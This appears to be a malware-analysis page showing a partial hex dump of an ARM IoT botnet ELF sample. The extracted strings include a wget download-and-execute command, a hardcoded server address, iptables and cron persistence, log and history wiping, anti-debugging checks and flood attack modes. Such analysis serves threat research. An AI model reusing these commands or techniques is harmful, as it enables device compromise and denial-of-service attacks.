bdce90157466413c3f70c0ab5f8249748fc831588c6206dc40e47af9190e124a.elf
Wraith botnet with DoS and evasion
flylegit-tagged honeypot taunt clusterARM IoT bot with raw-socket packet flooding
SHA-25667894fbd7e52ca06776fcf7a5704753beddac6d2e9a67bcd6b8488ae7766b77d
Evidence
0x07f454c46010101610000000000000000.ELF...a........
0x1002002800010000009081000034000000..(.........4...
0x20c8a80200020000003400200003002800........4. ...(.
⋯3 more rows
0x6000600300884800005c0c090106000000.`...H..\.......
0x700080000051e574640000000000000000....Q.td........
0x8000000000000000000000000007000000................
0x90040000000dc0a0e1f0df2de904b04ce2..........-...L.
⋯8 more rows
⋯7 more rows
0x226dc7376ffebf0af1be92f70726f63000000sv....../proc...
0x226ec4c6f6f6b73206c696b6520796f752061Looks like you a
0x226fc7265206120686f6e6579706f742c2074re a honeypot, t
0x2270c68697320746f6f6c20776173206d6164his tool was mad
0x2271c6520627920742e6d652f666c796c6567e by t.me/flyleg
0x2272c6974210a000000002f70726f632f2573it!...../proc/%s
0x2273c2f636f6d6d000000742e6d652f666c79/comm...t.me/fly
0x2274c6c656769740000002f70726f632f7365legit.../proc/se
0x2275c6c662f65786500002f70726f632f7365lf/exe../proc/se
0x2276c6c662f6f6f6d5f73636f72655f61646alf/oom_score_adj
0x2277c000000002d313030300000002f70726f....-1000.../pro
0x2278c632f73656c662f6d61707300256c782dc/self/maps.%lx-
0x2279c256c782025347320252a7320256c783a%lx %4s %*s %lx:
0x227ac256c7820256c75202532353573000000%lx %lu %255s...
0x227bc2f70726f632f73656c662f7374617475/proc/self/statu
0x227cc730000005472616365725069643a0080s...TracerPid:..
0x227dc83850000000000000000000000000094................
⋯24 more rows
⋯3 more rows
0x232042cb0020000000000256420256c6c7500,.......%d %llu.
0x232142f7661722f72756e2f2e64697361626c/var/run/.disabl
0x2322465642e6c6973740069707461626c6573ed.list.iptables
0x23234000000002d7700002d440000494e5055....-w..-D..INPU
0x23244540000002d6a00004c4f434b45525f49T...-j..LOCKER_I
0x232544e505554000000002d5800002d2d7665NPUT....-X..--ve
0x232647273696f6e0000002d4300002d700000rsion...-C..-p..
0x23274746370002d2d64706f72740044524f50tcp.--dport.DROP
0x23284000000002d4100002d41202573202d70....-A..-A %s -p
0x2329420746370202d2d64706f727420257320 tcp --dport %s
0x232a42d6a2044524f50002f7661722f72756e-j DROP./var/run
0x232b42f2e69707461626c65732e72756c6573/.iptables.rules
0x232c40000000025730a00257320256f0a0000....%s..%s %o...
0x232d42f7661722f73706f6f6c2f63726f6e2f/var/spool/cron/
0x232e463726f6e746162732f726f6f74000000crontabs/root...
0x232f42f7661722f73706f6f6c2f63726f6e2f/var/spool/cron/
0x23304726f6f74000000002f6574632f63726froot..../etc/cro
0x233146e2e64002f6574632f63726f6e2e642fn.d./etc/cron.d/
0x233242573000074656c6e6574640064726f70%s..telnetd.drop
0x2333462656172000000006674706400000000bear....ftpd....
0x23344766e6373657276657200000078696e65vncserver...xine
0x2335474640000696e2e74656c6e6574640000td..in.telnetd..
0x23364323200002d4e00002d4900002e00000022..-N..-I......
0x233742e2e000025732f25730000002f766172....%s/%s.../var
0x233842f6c6f672f617574682e6c6f67000000/log/auth.log...
0x23394484f4d450000000025732f2e62617368HOME....%s/.bash
0x233a45f686973746f72790000000025732f2e_history....%s/.
0x233b47a73685f686973746f7279002f726f6fzsh_history./roo
0x233c4742f2e626173685f686973746f727900t/.bash_history.
0x233d42f726f6f742f2e7a73685f686973746f/root/.zsh_histo
0x233e4727900002f6574632f686f7374730000ry../etc/hosts..
0x233f461000000302e302e302e302061766173a...0.0.0.0 avas
0x23404742e636f6d0000002536337320253235t.com...%63s %25
0x234143573000050415448000000003a0000005s..PATH....:...
0x2342425732f73797374656d63746c00000000%s/systemctl....
0x2343425732e746d7000007073000020286465%s.tmp..ps.. (de
0x234446c657465642900002f70726f632f2564leted)../proc/%d
0x234542f637764000000002321000074637036/cwd....#!..tcp6
0x2346400000000252a643a20252a3332733a25....%*d: %*32s:%
0x234745820252a3332733a252a582025730000X %*32s:%*X %s..
0x23484252a643a20252a38733a255820252a38%*d: %*8s:%X %*8
0x23494733a252a582025730000000030410000s:%*X %s....0A..
0x234a42f6574632f73797374656d642f737973/etc/systemd/sys
0x234b474656d2f73797374656d2d68656c7065tem/system-helpe
0x234c4722e736572766963650000006461656dr.service...daem
⋯7 more rows
0x23f3b008cb80200b0b80200c4b80200000000................
0x23f4b0038332e3136382e36392e3134310000.83.168.69.141..
0x23f5b002f70726f632f6d656d696e666f0000./proc/meminfo..
0x23f6b004d656d546f74616c3a20256c64206b.MemTotal: %ld k
0x23f7b42000000002f70726f632f637075696eB..../proc/cpuin
0x23f8b666f00000070726f636573736f720000fo...processor..
0x23f9b0025732025732025642025640061726d.%s %s %d %d.arm
0x23fab76356c000073746f7000000000217570v5l..stop....!up
0x23fbb64617465007365727665723d00706f72date.server=.por
0x23fcb743d000000617263683d000000636420t=...arch=...cd
0x23fdb2f746d703b2077676574202d71206874/tmp; wget -q ht
0x23feb74703a2f2f25733a25642f2573202d4ftp://%s:%d/%s -O
0x23ffb202e623b2063686d6f64202b78202e62 .b; chmod +x .b
0x2400b3b202e2f2e62202600216b696c6c0000; ./.b &.!kill..
0x2401b0070696e6700000000706f6e67202573.ping....pong %s
0x2402b00253331732025333173202537732025.%31s %31s %7s %
0x2403b3131730000756470706c61696e00000011s..udpplain...
0x2404b0073796e007374640068747470000000.syn.std.http...
⋯10 more rows
0x240fb0000000000000000006c6f67696e0000.........login..
0x2410b0062696768616e647368616b65000000.bighandshake...
0x2411b0070696e676a6f696e000000006c6f6e.pingjoin....lon
0x2412b676e616d6573000000736f636b657400gnames...socket.
0x2413b00ffff00fefefefefdfdfdfd12345678.............4Vx
0x2414b0025730d0a000000005353482d322e30.%s......SSH-2.0
0x2415b2d4f70656e5353485f382e3970312055-OpenSSH_8.9p1 U
0x2416b62756e74752d337562756e7475302e34buntu-3ubuntu0.4
0x2417b005353482d322e302d4f70656e535348.SSH-2.0-OpenSSH
0x2418b5f392e3370312044656269616e2d3300_9.3p1 Debian-3.
0x2419b005353482d322e302d4f70656e535348.SSH-2.0-OpenSSH
0x241ab5f382e3270310000005353482d322e30_8.2p1...SSH-2.0
0x241bb2d4f70656e5353485f666f725f57696e-OpenSSH_for_Win
⋯7 more rows
0x260281060030001000000ffffffffffffffff.`..............
0x260386b776f726b65722f303a300000000000kworker/0:0.....
0x26048ffffffffffffffff0000000000000000................
⋯15 more rows